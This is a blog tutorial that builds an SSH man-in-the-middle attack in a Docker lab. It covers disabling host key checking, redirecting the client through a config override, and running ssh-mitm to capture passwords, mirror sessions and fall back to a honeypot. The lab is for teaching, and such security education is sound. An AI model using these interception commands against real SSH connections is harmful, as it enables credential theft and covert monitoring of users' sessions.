In this article, we’ll explore how a Man-in-the-Middle (MITM) attack works using a small Docker-based lab.
We’ll simulate how an attacker can steal credentials and monitor session traffic while clients believe they’re connected to a legitimate server.

This is the second part of my series named "How SSH Works—and How It Breaks". If you haven't read the first part, you can find it here.

What you’ll learn

• How SSH MITM attacks work in practice.
• Why disabling host key verification is dangerous.
• How attackers can intercept encrypted sessions.
• Password-based authentication vs public-key authentication in MITM attacks.

Requirements

• Operating System: Since the lab uses Docker containers, it should work on Linux, macOS, or Windows.
• Docker:
  • On macOS or Windows, install Docker Desktop or Rancher Desktop.
  • On Linux, install Docker using your distribution’s package manager.
• Basic Linux command-line knowledge: The containers run AlmaLinux, so familiarity with the terminal is helpful, but not required.

Resources

You can download the resources for this exercise from the repository on my GitHub.

Execute the following command to clone the project:

git clone https://github.com/JoDaUT/mitm.git

Architecture Diagram

Here is an overview of each role:

Client (172.18.3.100)
    ↓
MITM (172.18.3.101) ← Intercepts connections, steals credentials and logs traffic
    ↓
Server (172.18.3.102)

In this diagram, the client believes it is connected directly to the server, but all traffic is routed through the MITM.

How to run

Ensure Docker is running. On Linux, you can use: sudo service docker status.

Start the containers by executing docker compose up. You should see something like this:

Attaching to ssh-lab-client, ssh-lab-mitm, ssh-lab-server
ssh-lab-server  | Server listening on 0.0.0.0 port 22.
ssh-lab-server  | Server listening on :: port 22.

Three containers will be started: a client, a server, and a malicious container acting as the MITM.

The next step is to connect to those containers by executing each of these commands on different terminals or tabs:

docker exec -it ssh-lab-client /bin/bash
docker exec -it ssh-lab-server /bin/bash
docker exec -it ssh-lab-mitm /bin/bash

Once connected to the containers, we're ready to start.

Disabling host key verification

Now that we have the containers running, let's set up an unsafe SSH configuration on the client to simulate a real-world vulnerability:

mkdir -p ~/.ssh
cat <<EOF > ~/.ssh/config
# Don't do this ever in production systems
Host *
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null
EOF
chmod 600 ~/.ssh/config

⚠️ WARNING: The following configuration is extremely insecure. Never use this in production or on any machine with access to important systems.

This configuration effectively removes SSH’s primary defense against MITM attacks: verifying that the server you’re connecting to is the one you trust.

This is something you should never do on a real system. However, if you are using custom SSH client implementations, it is possible to provide a weak configuration file for your client if you forgot to add it or weren’t aware of this. We are using the OpenSSH client just for simplicity.

Now try to ssh to the server. The password is 1234.

ssh myserver@ssh-lab-server

You should see something like this:

Warning: Permanently added 'ssh-lab-server' (ED25519) to the list of known hosts.
myserver@ssh-lab-server's password:
[myserver@0e9d937503b2 ~]$

As you can see, the connection was successful and no host key verification was performed by the SSH client, because we disabled it.

What should have happened in a secure setup:

The authenticity of host 'ssh-lab-server' can't be established.
ED25519 key fingerprint is ...
Are you sure you want to continue connecting (yes/no)?

After you type "yes", the server's public key will be added to the .ssh/known_hosts file, so the second time you ssh to the server, it won't display this confirmation message.

Choosing the MITM

There are several tools that can act as a MITM. For this exercise, we'll use ssh-mitm, an interactive SSH interception tool for authorized security audits and penetration testing. It provides everything we need for the exercise.

Installing the tool is very straightforward. You can check the documentation for the different installation methods. For the purpose of the exercise, I’ve already set this up so you can focus on the exercise.

Start the MITM

Execute the following command in the MITM server:

ssh-mitm server --remote-host 172.18.3.102 --listen-port 22

This will start the MITM service listening on port 22. Note the --remote-host flag. This will tell the service to connect to that machine when accepting incoming connections.

Compromising the client

In the previous chapter, we explored common SSH-related attacks such as DNS poisoning and routing attacks. For this exercise, we will simulate DNS redirection by modifying the .ssh/config file, which redirects traffic intended for ssh-lab-server to the ssh-lab-mitm.

Execute the following command on the client:

cat <<EOF >> ~/.ssh/config
Host ssh-lab-server
    Hostname 172.18.3.101 # this is the MITM IP address
EOF

This line overrides the DNS resolution for this container, and forces it to connect to the malicious server instead of the real server when using the hostname instead of the IP address.

Note: In real-world scenarios, attackers don’t modify your .ssh/config. They exploit DNS, routing, or compromised networks. In this lab, we simulate that behavior by manually redirecting traffic.

Exploiting the malicious ssh configuration

Now when the user tries to connect to the server, the connection will be intercepted by the MITM.

Execute the following command to connect to the server:

ssh myserver@ssh-lab-server

The output will look similar to this:

Warning: Permanently added '172.18.3.101' (RSA) to the list of known hosts.
myserver@172.18.3.101's password:

Then type the password again (1234).

Once connected, execute a couple of commands:

pwd
ip a

Output:

/home/myserver
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo
       valid_lft forever preferred_lft forever
2: eth0@if27: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 7e:27:cc:2c:80:c0 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.18.3.102/24 brd 172.18.3.255 scope global eth0
       valid_lft forever preferred_lft forever

From the client’s perspective, everything looks fine. The server's IP address is 172.18.3.102, which match the one from the logs. However, that container has been the victim of a MITM attack.

What happened? The attacker established two independent encrypted sessions: one with the client and one with the server. Because it sits between them, it can read the traffic; not because SSH encryption is broken, but because each side is communicating with the attacker directly. The attack only worked because the client trusted the attacker’s host key.

If we hadn’t weakened our SSH configuration, the OpenSSH client would have prompted us to confirm the server’s host key. If the client already had the server’s public key in the known_hosts file, it would have warned us that the server’s key had changed. See the When the Fingerprints Don't Match section from the previous chapter.

If you check the MITM logs, you will see the credentials that were used to authenticate:

[03/09/26 04:51:02] INFO     Remote authentication succeeded
Remote Address: 172.18.3.102:22
Username: myserver
Password: 1234
Agent: no agent

The attacker can authenticate to the real server using the credentials provided by the client. The server is talking with the MITM, not with the client.

However, a MITM cannot always connect to the target server. This depends on the SSH configuration and the attacker’s position in the network. Alternatively, an attacker can redirect victims to a fake (honeypot) server that mimics the target to capture credentials.

Monitor the data being sent in real time

Because there are two separate encrypted sessions (Client ↔ MITM and MITM ↔ Server), the attacker can decrypt, inspect, and re-encrypt the traffic.

This means the MITM can monitor all data being sent and received. Check the following log in the ssh-lab-mitm:

INFO     ℹ created mirror shell on port 45837. connect with: ssh -p 45837 127.0.0.1

If you execute ssh -p <port> 127.0.0.1 in the MITM server, you will be able to see what the user is doing in real time.

The attacker can now store this information or send it to another server for later use.

What about public-key-based authentication?

For public-key authentication, the MITM cannot authenticate as the client because it does not have access to the private key required to sign the server’s challenge during the handshake.

To bypass this protocol protection, one option for attackers is to redirect the traffic to a honeypot, which is basically another machine owned by the attacker (or previously compromised), that looks like the legitimate server but is under his control. Users might notice something wrong (missing files, different configurations) and execute diagnostic commands that can leak sensitive information.

Another option is to authenticate to the server using different credentials, but that requires knowing the credentials of another user who has access to the target server.

The tool used in this lab also supports honeypot redirection:

ssh-mitm server --remote-host 172.18.3.102 --listen-port 22 --fallback-host ssh-lab-server --fallback-username myserver --fallback-password 1234

This command specifies a fallback host and credentials that the MITM can use to connect to the honeypot.

SSH Agent Forwarding

The SSH Agent is the key manager of SSH. It runs in the background, separately from ssh. It stores private keys and uses them to sign authentication requests.

SSH Agent Forwarding allows a remote server to access your local ssh-agent, enabling authentication to further SSH connections without transmitting your private key.

This feature is not enabled by default, but if agent forwarding is enabled, a MITM can authenticate to the target server using the victim's SSH agent, without ever accessing your private key directly. The private key never leaves your machine. Only signatures are transmitted through the tunnel.

However, this feature should be used sparingly. Common (and safer) scenarios include:

• Jump hosts / bastion hosts: Access private servers through a trusted intermediate machine.
• Temporary multi-hop access: Short-term debugging using ssh -A (avoid permanent configuration).

Agent forwarding is generally discouraged in CI/CD environments. Prefer dedicated deploy keys or short-lived credentials instead.

Here is an example of how you can enable ssh agent forwarding:

# In ~/.ssh/config
Host server.com
    ForwardAgent yes

# Or via command line
ssh -A username@server.com

You can refer to SSH Agent Explained to learn more about this.

Key Takeaways

• Never disable StrictHostKeyChecking outside controlled environments.
• Public-key authentication improves security, but does not eliminate MITM risk.
• Treat SSH agent forwarding as high risk; enable it only when absolutely necessary.

Security measures and best practices will be covered in more detail in the third part of the series.

Conclusion

In this article, we explored how MITM attacks can compromise SSH connections, steal credentials and monitor traffic between the client and the server.

We learned that vulnerabilities don't come from a single weak point. They come from a combination of factors such as weak SSH configurations (client or server), misuse of ssh-agent forwarding, and compromised infrastructure.

Even with public-key authentication, attackers can redirect traffic to honeypots or access your ssh-agent if forwarding is enabled. Security must be enforced at every layer of the connection.

In the third part of this series, we'll explore best practices and actionable recommendations to defend against these attacks and secure your SSH infrastructure.

See you in the next article!

Bibliography

• Carl Tashian - 2025 - SSH Agent Explained
• ssh-mitm - 2026 - SSH-MITM - ssh audits made simple
• Wikipedia - 2026 - SSH Agent